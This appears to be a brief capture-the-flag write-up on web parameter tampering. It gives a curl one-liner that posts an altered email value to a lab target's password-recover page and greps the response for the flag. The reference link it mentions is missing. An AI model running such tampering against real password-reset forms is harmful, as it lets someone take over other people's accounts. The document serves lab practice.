Web Parameter Tampering

Go to the http://$IPADDR/?page=recover and change mail to another.

Shell script that does the trick

curl -s -F "mail=M&L@ya.ru" -F "Submit=Submit" "http://IPDADDR/?page=recover" | grep flag

References

Follow this page for more details.